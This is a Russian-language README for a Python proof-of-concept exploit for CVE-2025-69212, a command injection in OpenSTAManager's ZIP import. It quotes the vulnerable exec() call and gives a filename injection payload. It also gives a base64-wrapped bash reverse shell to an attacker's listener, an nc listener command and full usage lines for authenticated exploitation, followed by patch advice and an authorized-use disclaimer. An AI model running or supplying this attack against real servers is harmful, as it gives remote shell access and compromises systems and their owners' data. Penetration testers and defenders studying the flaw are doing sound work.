
Python poc, эксплойт для CVE-2025-69212
Эксплойт Proof-of-concept для CVE-2025-69212 — уязвимости OS Command Injection в OpenSTAManager <= 2.9.8, которая позволяет аутентифицированному злоумышленнику выполнить произвольный код на сервере через специально созданную ZIP-архивную загрузку.
Уязвимость находится в src/Util/XML.php на строке ~100, где приложение передает контролируемое пользователем имя файла напрямую в вызов оболочки exec() без проверки:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
При загрузке ZIP-архива через плагин () приложение извлекает ZIP и передает имя файла каждой записи в . Злоумышленник может создать ZIP с вредоносным именем файла, которое выходит за пределы аргумента в двойных кавычках и внедряет произвольные команды оболочки.
importFE_ZIP/actions.php.p7mexec()Полезная нагрузка инъекции (имя файла):
invoice.p7m";<COMMAND>;echo ".p7m
Результирующее выполнение в оболочке:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ внедрено здесь
Примечание: Прямой слеш
/не может появляться непосредственно в имени файла, так какZipArchive::extractTo()воспринимает его как разделитель пути. PoC обходит это, кодируя полезную нагрузку reverse shell в base64.
requestsnc)Установка зависимостей:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
| Аргумент | Обязательный | Описание |
|---|---|---|
-u, --url | Да | Базовый URL цели (например http://target.htb) |
-U, --username | Да | Имя пользователя OpenSTAManager |
-P, --password | Да | Пароль OpenSTAManager |
--lhost | Да | Ваш IP-адрес для reverse shell |
--lport | Да | Ваш порт прослушивания для reverse shell |
--proxy | Нет | HTTP прокси (например http://127.0.0.1:8080) |
# Запуск слушателя
nc -lvnp 4444
# Запуск эксплойта
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Маршрутизация через Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m, имя которого включает внедренную командуbash -i >& /dev/tcp/LHOST/LPORT 0>&1) кодируется в base64, чтобы избежать прямых слешей в имени файла/actions.php через плагин importFE_ZIPexec(), что запускает reverse shellОбновление до OpenSTAManager 2.9.9 или новее, где имена файлов проверяются перед передачей в команды оболочки.
Если немедленное применение патча невозможно, отключите плагин importFE_ZIP или ограничьте доступ к /actions.php только доверенными пользователями.
Данный инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте только на системах, которые вам принадлежат или на тестирование которых у вас есть явное письменное разрешение. Несанкционированное использование против систем, которые вам не принадлежат, является незаконным и неэтичным. Автор не несет ответственности за любое неправильное использование или ущерб, причиненный этим инструментом.